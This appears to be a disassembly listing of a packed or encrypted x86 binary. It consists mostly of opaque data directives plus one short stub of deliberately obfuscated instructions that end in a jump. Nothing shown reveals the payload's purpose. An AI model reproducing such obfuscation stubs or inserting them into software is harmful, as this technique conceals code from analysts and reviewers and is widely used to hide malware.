dd 8837FC7Fh, 0C1B91213h, 27DB08B7h, 0FB72E21h, 0FD37FA9Ah
dd 0BDB79E61h, 6537FC71h, 0ED10905Dh, 8F471089h, 67FF90EDh
dd 1975108Fh, 0FECE3FE3h, 0B226063h, 0AD2B98DBh, 25471563h
dd 131790EDh, 0B375108Fh, 0ABCE33E3h, 0A1226063h, 0F82B98DBh
dd 8F471563h, 4EEB90EDh, 1975108Fh, 0FECE3BE3h, 3356063h
dd 0AD1CD8E3h, 0A7095263h, 14DDE954h, 0DB91213h, 41DB0887h
dd 14B72E21h, 6437FA9Ah, 85B79E61h, 337FC62h, 0DE08905Dh
dd 16471089h, 853790EDh, 7F75108Fh, 0CDCE2BE3h, 9A356063h
dd 6115F8E3h, 0C1095263h, 27DDE924h, 94B91213h, 8DDB385Fh
dd 2B72E21h, 5737FA9Ah, 0B79E61h, 0CF37FC6Ah, 0B878905Dh
dd 25471089h, 1DC390EDh, 0B375108Fh, 0AD1998E3h, 0A9356063h
dd 0F814A0E3h, 0D095263h, 41DDE928h, 0A7B91213h, 14DB372Fh
dd 2B72E21h, 3137FA9Ah, 0B08F967Fh, 1137FA9Ah, 35B11C13h
dd 41DB09C3h, 0A9356166h, 0F836CCE3h, 0D095263h, 41DDE9E8h
dd 9FB10C13h, 14DDE9F4h, 0B3B6066h, 0AD2EB0DBh, 25461563h
dd 72390EDh, 0B375108Fh, 0ABCE47E3h, 0A9356063h, 0F81F58E3h
dd 0D095263h, 41DDE930h
dd 0A7B91213h, 14DB279Fh, 0D2B72E21h, 3137FA9Ah, 23B79E61h
dd 5637FC4Eh, 746C905Dh, 43471089h, 3C8390EDh, 2A75108Fh
dd 67CE77E3h, 0CF356063h, 0CB1FACE3h, 94095263h, 8DDDE900h
dd 0C1B91213h, 27DB3F7Bh, 1ECD1E21h, 883210E2h, 0BFD8FC66h
dd 0A709EA99h, 14DB3843h, 88399069h, 0C1BF1566h, 27DDA7AAh
dd 0EEC9C68Fh, 19B72E99h, 4B37FC44h, 22320DE3h, 968F9666h
dd 8937FA9Dh, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh
dd 86B72E99h, 2D37FA9Dh, 113219E2h, 4EB72E66h, 4B37FA9Dh
dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
dd 11321523h, 7384905Dh, 0C13D1089h, 2232156Dh, 73D690EBh
dd 0E5DB153Eh, 7FCDEA9Dh, 0CDC9AFE3h, 1AB71A63h, 5321566h
dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDDEED8h, 44399069h
dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F8110CD3h
dd 71879C63h, 0C437FC67h, 0A73DFC58h, 11321540h, 8B336BEDh
dd 0C5EC9E98h, 227215A5h, 88F2E66h, 8737FC45h, 44321DE4h
dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 27DB3777h
dd 112790A1h, 8832108Fh, 0CD521566h, 0CB33ECD3h, 0DBAF9863h
dd 7737E570h, 66B01AB5h, 0AF321566h, 0FFF8FAFBh, 87E1EA63h
dd 0BBCDCBE5h, 0DB879E99h, 9837FC67h, 613200D3h, 5CAF9863h
dd 0DD37FA39h, 8B79EB5h, 137FC45h, 0AD33ECE3h, 0BFBF7463h
dd 14C20655h, 15BFC699h, 41C2037Dh, 0A13DC699h, 1132156Ah
dd 89CB90E5h, 0AD37108Fh, 0DDCDEAB8h, 77688EBh, 5BCD1096h
dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 41DCDF89h
dd 0A13DC699h, 1132156Dh, 89CBA0EDh, 0C4DB108Fh, 0A9321561h
dd 0F833ECEBh, 71879C63h, 6F37FC67h, 9EBE2A8h, 0F896E697h
dd 77CDEAF0h, 1B4288EBh, 0F1CD1089h, 9419D2EDh, 8DDB3777h
dd 6BD390EFh, 0A7B9108Fh, 14DB3777h, 5BF4531h, 41DD4A83h
dd 0A7B9C499h, 14DB170Bh, 0DB94236h, 41DB3777h, 36BF9836h
dd 0EE37FA06h, 3E29EB7h, 29BF3EAEh, 0A137FC64h, 0F82290DBh
dd 0C3D1563h, 4432154Dh, 22EB90EDh, 9419108Fh, 8DDB05E3h
dd 0C23DD45Dh, 22321571h, 368790EDh, 0D31108Fh, 41DB05E3h
dd 54390EFh, 52DB108Fh, 0D9321566h, 497AD4EDh, 22321A99h
dd 0C8B79C26h, 8937FC66h, 0AD1EE0E3h, 0A7B7D263h, 1137FC76h
dd 0E2321566h, 54327D26h, 48631566h, 24A7EA66h, 7737FC63h
dd 0AD0308F3h, 97B79C63h, 9837FC41h, 611564E3h, 0F1CD4C63h
dd 27DB3217h, 135FA099h, 7765108Fh, 0AD1004D3h, 84B79863h
dd 0EE37FA02h, 0DBF14B6h, 0CF37FC76h, 0CB1564DBh, 7C879E63h
dd 7B37FC64h, 71879EC2h, 8F37FC55h, 11CE53A1h, 49321566h
dd 0A3710A6h, 21701475h, 0F8357CE3h, 0F9BF9E63h, 0CD37FC41h
dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737FC55h, 0A73DEA9Eh
dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h
dd 4EB11566h, 71879C62h, 0CB37FC55h, 0EECDE380h, 8B31D5A7h
dd 0AD357CE3h, 578F9663h, 1037FC4Bh, 88AF9169h, 7AB31566h
dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h
dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3E97A8E5h, 1E33108Fh
dd 88322BE2h, 4532AD66h, 9FB11566h, 14DDEEA8h, 80B61A66h
dd 0C9321566h, 0CD55F2FBh, 91E1EA63h, 0C3D8559h, 4432156Eh
dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h
dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
dd 67C9DBDBh, 0C03D1563h, 2232156Eh, 768588EBh, 5BCD1089h
dd 0CF3652EEh, 0CB1564E3h, 92F53E63h, 2599118Eh, 44CE53A1h
dd 0CB321566h, 0EECDEA77h, 0BB07A0EFh, 2C60108Fh, 22329566h
dd 0A4CD150Ch, 8DDB3EE3h, 53BB8099h, 0A968108Fh, 0F83EC8EBh
dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14DB19BBh, 77C7058Fh
dd 4296FC99h, 0A9521566h, 0F83EC8EBh, 13B9E63h, 0ABC9DFEBh
dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27DB2647h, 1133138Fh
dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah
dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0DD879866h
dd 0A937FC63h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27DB10FFh, 161790EDh
dd 48B7108Fh, 44289069h, 0A7F41566h, 14DB1B83h, 2FE07D21h
dd 0F1CDC1FCh, 27DB0B9Bh, 6B5D90EBh, 58CD108Ah, 0C1E2EA34h
dd 1AB71AA6h, 9A321566h, 611974E3h, 4BF29063h, 22320FE3h
dd 0F4B7D366h, 0C437FC68h, 9E2EFC0Eh, 0DF87EABFh, 9C37FC78h
dd 64487AE3h, 16E2EA63h, 0E2B7C599h, 11379069h, 0A9DB1566h
dd 0CD321566h, 0CDC9DFE3h, 9C644563h, 64A1E8E3h, 4FE2EA63h
dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h
dd 0FEC9DFEBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0ACA79C66h
dd 8D37FC71h, 4432159Eh, 0AB3E45EDh, 0F838A4F3h, 0CCB94D63h
dd 85193142h, 2883905Dh, 933D108Fh, 88321576h, 538F905Dh
dd 0A13D108Fh, 11321562h, 8836D707h, 6036D207h, 22321566h
dd 151651A1h, 88321566h, 443210DEh, 4FBF9866h, 0EE37FC28h
dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h
dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah
dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h
dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h
dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h
dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h
dd 27DDE9FCh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h
dd 9A7CEA99h, 61110CE3h, 51A79E63h, 0A937FC66h, 17F196B8h
dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
dd 23CBA0EFh, 4A6D108Fh, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h
dd 14DDE9FCh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h
dd 0CFEB3E66h, 0CB110CE3h, 4A79E63h, 0B37FC66h, 0AD33C4DBh
dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh
dd 0EECDEA27h, 88329B8Fh, 0DEB7D266h, 2037FA9Ah, 9A321566h
dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41DB367Fh
dd 222780EDh, 0ACB1108Fh, 8DDB14B7h, 0CB61A67h, 19321566h
dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
dd 8B2A568h, 85381A87h
dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0AD33ECD3h, 0F3B7D263h
dd 1037FC67h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h
dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
dd 40F69638h, 0DDCBD28Fh, 8BB7D299h, 8D37FA9Ah, 0CF321566h
dd 26F196B8h, 94B90B65h, 8DDB367Fh, 442780EDh, 0A17C108Fh
dd 0F82C9CDBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh
dd 0E3DCF5Dh, 4432154Dh, 23CBA0EFh, 8CB9108Fh, 8DDDE9FCh
dd 48164967h, 2232CB8Fh, 94F54A66h, 8DDB0BEFh, 44321567h
dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0AD33C4DBh, 0A63D1463h
dd 113215DDh, 0AB2B884Dh, 0C9B9108Fh, 27DB3777h, 0DE19DE65h
dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
dd 0C1F5EA99h, 27DDE9FCh, 11321564h, 3E3DCBEDh, 0C4CB9568h
dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
dd 1132EA87h, 3EB3E66h, 0AD110CE3h, 37A79E63h, 0F837FC66h
dd 77CDEA20h, 0B8A890A1h, 22301089h, 0CFB91566h, 83CA369h
dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
dd 0DDD394BFh, 3A321566h, 91B79EBFh, 0CF37FC45h, 0CB3200F3h
dd 0C08F9663h, 8937FC67h, 0BAFB9169h, 0FA09EA99h, 113A9769h
dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh
dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h
dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h
dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
dd 442798EDh, 0EBB7108Fh, 11349069h, 3DBB1566h, 41DB1573h
dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h
dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah
dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h
dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h
dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 0F83200D3h
dd 90AF9863h, 0BB37FA39h, 72F1ECB5h, 982253EDh, 611B28E3h
dd 82B14D63h, 0DF8F987Ah, 0BC37FC77h, 0AC165165h, 598F98CDh
dd 8F37FC48h, 35165165h, 35BFBE36h, 41DB0C5Fh, 67616CBh
dd 0D26CBE4Eh, 79AF9830h, 0BB37FA38h, 0FF95FCB5h, 0CEDFFFFFh
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AA447DC0h, 0A8ED96A7h
dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah
dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4065DCB7h, 2032DCF1h
dd 0BA8FFAE0h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
dd 0BB61FC38h, 0DF07462Fh, 51479BD6h, 3C6D5h, 5492B85Eh
dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0D67FBC2Fh
dd 3C5253B8h, 5E693511h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
dd 83DB5830h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 1517FB23h
dd 25F8957Fh, 0FDF53FD5h, 9A3F31ADh, 0B7342292h, 23AC7ACFh
dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7012B93Dh, 0B42FFFA0h
dd 0C87D7FC0h, 0F305E983h, 8DDB8BA4h, 0EFFCA6BDh, 8D8D8D05h
dd 0B805F017h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
dd 0F2850F49h, 8BFFFFFFh, 4DBD83C0h, 5E916h, 0BD830975h
dd 5E91121h, 50197400h, 0B8C08B53h, 411h, 5AD8589h, 9D8D05E9h
dd 5EBB92Bh, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h
dd 411h, 5AD8589h, 9D8D05E9h, 5EBB5CCh, 585BD3FFh, 0F2BBC08Bh
dd 8D4672A4h, 0F019C58Dh, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F259960Bh
dd 0EE434644h, 459D23B7h, 8905E925h, 0E926558Dh, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 14B54477h, 605376A6h, 585C7B2h, 0A005E908h, 900005Bh
dd 0E90F7995h, 3D85C705h, 5E916h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 956C355h, 0E9018D85h, 7DB5FF05h, 0FF05E925h, 0E90BC595h
dd 7DCB8105h, 6A10C1A1h, 9595FF00h, 8B05E91Eh, 0E60DEBC0h
dd 8CEFE606h, 0C9040411h, 28AE13ABh, 8FB704EBh, 5BE93C7Dh
dd 0E0000005h, 765C79A0h, 8EE0B3Ah, 997F9CCBh, 280E2B5Eh
dd 9EA2BFEAh, 5306E44h, 9AC102E8h, 2D58977Dh, 0BDF02A10h
dd 44F2D3A0h, 13390302h, 0C255338Ch, 63275588h, 0F7DDFA25h
dd 985C8ABDh, 0E8BBEA5Eh, 3CBA5B66h, 6FE6A8D8h, 31E816C9h
dd 0C96FC383h, 0F355CB16h, 639F6391h, 1420634h, 4573A6E0h
dd 27EB197Bh, 9F8FBDE8h, 0C3693540h, 95CFD5A0h, 205F4562h
dd 8AABD8F5h, 0C96F9ADCh, 11AE2416h, 93C1EC2Bh, 39678ECFh
dd 0D97DE55h, 0A086A3CEh, 6D053366h, 16C96F54h, 134174AEh
dd 0B8E6114Fh, 2A5192EEh, 403584FCh, 451F365Eh, 63BD80Bh
dd 0A2943C6Fh, 838C40CFh, 52000000h, 661488C2h, 16C91A20h
dd 549F7AEh, 8916C91Ah, 0AC4FB113h, 1A99DD8Bh, 6E2516C9h
dd 0C91AFEC0h, 288A0016h, 793BD38Bh, 0B116C91Ah, 18C8E392h
dd 1840CFD7h, 1, 5786C2DEh, 0FA296529h, 0C6883657h, 0C416C91Ah
dd 8B015988h, 377236EEh, 0D712D604h, 0DE406BAAh, 7FB2ECB0h
dd 73026151h, 906A852Bh, 2EF82651h, 8B195C91h, 7410D14Fh
dd 0A6F1F4DFh, 20FA2744h, 0C08AB8DFh, 0D0033D23h, 84C285B3h
dd 0C8F6215Fh, 0AA6E9CFEh, 0DB06456Eh, 1AC48A38h, 54CA16C9h
dd 75D4C4F2h, 3B66A400h, 0BDE26998h, 8029E241h, 1C563CE3h
dd 0BAF7BBE9h, 0ED8E5D8Bh, 0DA6D2388h, 488340CFh, 49000000h
dd 3863A17Bh, 0BDA3400Ah, 0B1195A7Fh, 0C91A4303h, 73D54B16h
dd 0E21FE311h, 547785B3h, 1A458321h, 0AED917FDh, 4E81BC80h
dd 0C5B05120h, 0CFD52AE6h, 5F4640h, 0C20C0000h, 672B5984h
dd 57CFFD28h, 0F9376D08h, 0C283B1CEh, 26681686h, 0A816C91Ah
dd 50C36E3h, 0DC3E2C98h, 8FB44C7Ah, 2716C9F0h, 16F06D08h
dd 0B680AED5h, 3D963A19h, 0A47E40CFh, 0B4BF965h, 9316C9C4h
dd 6A18BB1Dh, 16C9C424h, 769734AAh, 0Dh, 0A927633Dh, 8817B288h
dd 53F05283h, 0AC5A7B25h, 16C91AEAh, 0FBE17EF4h, 9D618FBEh
dd 1E023063h, 99D6CEA7h, 0AFEDC76Ah, 740E784h, 0EE9C3FAFh
dd 1C31F575h, 49781B91h, 0AF12D833h, 0A357391h, 13B012DCh
dd 2A5D975Bh, 0BAED270Dh, 45B0F48Ch, 33821320h, 0F5286242h
dd 10377852h, 0D47B18E2h, 5381B4EEh, 0EA28558Fh, 65C791BFh
dd 8DE84737h, 76B0DD17h, 45125402h, 269C1320h, 184562C4h
dd 450549F7h, 13891320h, 88C99776h, 68E74526h, 0AD000001h
dd 6CAD176Fh, 0BE932F6h, 4AACBA0Eh, 4DF0521Ch, 32FF329Fh
dd 134F291Ch, 4FECB6E4h
dd 0E92AA86Dh, 0E57B9683h, 0EE04DA35h, 892C8ECCh, 20309BDBh
dd 4BAD2313h, 6093CEA8h, 26000BC3h, 5685C2E7h, 377157F4h
dd 0E0BAE704h, 0F5DB789Fh, 22518EBBh, 588792C0h, 2120042Dh
dd 0EC6BAC6Bh, 780698BAh, 59937916h, 0F834F826h, 9BD79BC9h
dd 0D303E6Ch, 747F568h, 8713209Ah, 0C827AF11h, 4581B0ADh
dd 0FD3494DFh, 1B553BD8h, 24ECCBE8h, 3C4526E0h, 40h, 0A6186F02h
dd 19C15503h, 0D74D16C9h, 0CF7D9EA9h, 16C91A8Fh, 42FC990Fh
dd 16C91A7Ch, 0B0A1D471h, 6A44E759h, 3562FF2Eh, 0C9191787h
dd 84A11716h, 9EA6h, 18C6E700h, 16C91A56h, 1745E258h, 6CAD176Fh
dd 0B5E30A4Bh, 915B89EBh, 73B28C2Fh, 0B3501A48h, 6366586h
dd 533CB7CDh, 828741DEh, 941C328Bh, 0B6E5F01Eh, 7D877936h
dd 3953D0B2h, 9BD9FDBAh, 7CB69C39h, 0C462C49h, 0EC13ABD9h
dd 7E132045h, 0F617462Fh, 20450648h, 16498413h, 1C61EE8h
dd 23DA5F8Bh, 720F7180h, 21F528Ch, 5E0171C9h, 0F6CF8F3Dh
dd 59CF1320h, 0C8E18FBCh, 4E19D0DDh, 0ACE6AAD8h, 0F0674B79h
dd 6A9D885h, 8042A543h, 0FA528B28h, 2039E78Ah, 361C20B5h
dd 6F75A3C0h, 7C335817h, 5129A30Ah, 0A2B4CEFh, 0C9911A5Ch
dd 912EA416h, 39BAC2D7h, 0B0DE541Ch, 638ACBA5h, 73A6E0C6h
dd 88BBF6D0h, 245E44EBh, 362BC3F1h, 225A538h, 0D40E96DFh
dd 0E824FEA1h, 48751CB9h, 1A37AB19h, 0AB5CECBCh, 50EDFC5Eh
dd 0C3A946CFh, 92B35689h, 0B473A2E4h, 0C0E7282Ah, 9D55F268h
dd 4C7BB892h, 0D1B7541Eh, 78EC1496h, 9148F361h, 0A61D012Fh
dd 689BD5CFh, 0F82B654Bh, 0C0ECAh, 7B4E0000h, 8DE9B84Ch
dd 13B0170Ah, 82C29E0Ch, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
db 75h, 47h, 86h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
push 3D5Bh
mov [esp], ebp
push edx
push ebx
mov ebx, 15940118h
sub ebx, 9BC47DCh
neg ebx
not ebx
sub ebx, 292F2496h
not ebx
xor ebx, 18A772B8h
mov edx, ebx
pop ebx
mov ecx, edx
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
sub dword ptr [esp], 17E428A7h
pop dword ptr [ebp+8]
add dword ptr [ebp+8], 17E428A7h
push dword ptr [esp]
pop ebp
add esp, 4
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5461C3
; ---------------------------------------------------------------------------
dw 61D6h
dd 70D628CDh, 96B8E8B5h, 305F01Eh, 0EE0FFC5h, 68181A06h
dd 0F87CBCCBh, 3A7D6C89h, 0C440D31Bh, 782CCB63h, 0E438A57Dh
dd 0CA570A45h, 0E03C9CAFh, 526E63B7h, 0E329D68Bh, 541FD70Ch
dd 9F70A956h, 0AB42C22Ah, 99500D1Dh, 16515EC3h, 0B9789472h
dd 5F2F2F02h, 0C126189Bh, 51055537h, 0EB27378Dh, 8, 0C0A12700h
dd 509E970h, 0E7680000h, 0E905F020h, 0FFF96047h, 0F0214968h
dd 603DE905h, 0D868FFF9h, 0E905F022h, 0FFF96033h, 7B98BFFFh
dd 0D2A5995h, 9EBBEA27h, 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh
dd 0E0210724h, 77B69CB9h, 0F492F4Ch, 11F2BFDCh, 39052363h
dd 7452AB13h, 0B65984C2h, 0EA339387h, 8A27EC49h, 0AFEDC7D2h
dd 0EF8C5684h, 7F9CCF09h, 0C3833152h, 0C716C932h, 8F055D88h
dd 0F161B9F2h, 15532D4Eh, 0D6934DEAh, 0E01C3234h, 0F8A6C76Ah
dd 13203CB6h, 6D25C238h, 203CEDD5h, 0C690A13h, 26F1F19Fh
dd 33BEF45h, 84B50000h, 47E91843h, 0CFFE3B81h, 3C26D7A1h
dd 63FDC44h, 0DE0744AEh, 7E48769Dh, 6917BA1Ch, 1C32EF84h
dd 8F2554CAh, 6647C9FAh, 0E8238DE5h, 5BBD87B5h, 7EBD97B8h
dd 0BE5B2553h, 0BD6D8304h, 72158BE4h, 0A2E3A351h, 7BEBEBACh
dd 18E2103Fh, 4A6119B6h, 0BEDF82F2h, 0A2AFEF9Dh, 8BD6EBACh
dd 28E782D2h, 1AB72D85h, 57195160h, 0C063D9E1h, 2BADF19Fh
dd 38E6EE45h, 0EE452B76h, 34AA0278h, 56906A97h, 0FFD90623h
dd 5E6997BEh, 452BEEB0h, 187AF0EEh, 285B957Bh, 0DFB76EF7h
dd 0C17D7576h, 333h, 57749BDBh, 0E9063571h, 7A97C603h
dd 9265994h, 9DBAE523h, 33714999h, 0C405EB08h, 5B9A809Dh
dd 0F32D1330h, 0F5D6A3C0h, 393A0747h, 502E8713h, 3960A17Bh
dd 6BA4410Bh, 5200A313h, 1C392B98h, 2B05A81Eh, 0BFA5C2EDh
dd 90285681h, 63B3D471h, 0D4E7BB5h, 0D05384E6h, 1F755C08h
dd 2D16B27h, 39790000h, 0D30FF512h, 64A187A4h, 0F7321835h
dd 83C1A7C4h, 0AB373B58h, 89A6D10Fh, 1E3B62A3h, 0B1CEF938h
dd 415E91CBh, 0A1E59374h, 2D13393Bh, 176FF6D4h, 9E304A7h
dd 0A36D9BCEh, 2B9E4C06h, 0A2181C39h, 5E6DC74h, 78111339h
dd 6345F9Eh, 0B6A9F3Ch, 3FCCF0A0h, 15C3E445h, 13390D51h
dd 294AE75Dh, 1D1h, 5D21CFF0h, 6113390Dh, 274E8FEBh, 0A17B5C8Ah
dd 0D2013E63h, 0DB78DAA4h, 5A88BBF5h, 0C295C96h, 680B7BD3h
dd 32233DBAh, 92D1411Ch, 3FD70567h, 13200C03h, 0BBA2D374h
dd 0CAAEC9Ah, 0BE341320h, 0E709800Dh, 62FFC59Dh, 2681DD83h
dd 6BD345h, 6F990000h, 0E304A717h, 360887B4h, 0F424AA64h
dd 16C979B2h, 0FC29C63Ch, 324A554Eh, 983BB11Ch, 6885C977h
dd 3DB01320h, 0E256906Fh, 13EAE06h, 78DAA4D2h, 0E91823DBh
dd 6C528FF3h, 0D58F2CEAh, 13203FEDh, 9F0C690Ah, 4526F2F1h
dd 5214C2E3h, 5C132003h, 0C12849E6h, 0EF000000h, 9FE72EC0h
dd 0B95C79BEh, 20A94B0Bh, 40DD5313h, 5588C212h, 0FA256327h
dd 0ADE7C1CCh, 4D884C7Ah, 0C022EC1Ah, 0D0033D23h, 22A4DEA2h
dd 5D0DAABCh, 4A0CBA41h, 5416C9D8h, 0FD1A7CDEh, 0BD01AFD0h
dd 4116C9D8h, 6C742ECBh, 0F216C9D4h, 2F6885B8h, 16C467D7h
dd 1C2F423Dh, 2F50F369h, 4AE71A55h, 0C7012664h, 3A9C6694h
dd 5180BD97h, 0E9270DB4h, 77F88DBEh, 5F576980h, 142A3h
dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h, 0C9F43218h
dd 803AA8ACh, 14FA1742h, 0A98FACD3h, 3C223F6Ah, 0E5B2CF02h
dd 38105604h, 459E1339h, 62A17B67h, 76B49A37h, 0E482E4Bh
dd 4A78A3E1h, 0D3011E80h, 275588C2h, 0D9F62963h, 0A4DE48A0h
dd 17794371h, 0B2164574h, 83401FE5h, 7B81A45h, 0BC831228h
dd 94C15ED1h, 324389E6h, 0BC5FD51Ch, 417FA4E2h, 0BC1EE816h
dd 57B3EA19h, 6FC41E92h, 0F2A3DDF9h, 0C865B827h, 0E25B6721h
dd 3F601320h, 20E2CD91h, 2761D113h, 0FF592F4h, 9F85A2D5h
dd 4C083661h, 9Bh, 0A7176F8Ch, 14C2E304h, 16C91A52h, 508AE65Ch
dd 8825EF1Dh, 392B10CEh, 0FA289E1Ch, 0DA88FC36h, 13390594h
dd 53ABDA16h, 197BA2E3h, 0FDE514B7h, 0DE094CBCh, 1E78E2Bh
dd 0C2F194C7h, 369D498h, 1CD47151h, 804C684h, 165F82EEh
dd 421548Eh, 0F764A8D7h, 2FDF61B9h, 3F72AC92h, 0DF124D11h
dd 1F56CDB1h, 29D74B85h, 66094365h, 7491F369h, 0E927548Eh
dd 438FCF7Dh, 990F6609h, 739ADB37h, 76197B45h, 0F3E7B55h
dd 0A7E717E1h, 27660943h, 0A05C14B1h, 3, 0C233A1E0h, 692D5B82h
dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
dd 3E023063h, 0E0A4D201h, 864775A4h, 0E1A68h, 241C8900h
dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 1E7h
dd 68243489h, 5F01FC3h, 83242C8Bh, 8B5404C4h, 0C4832434h
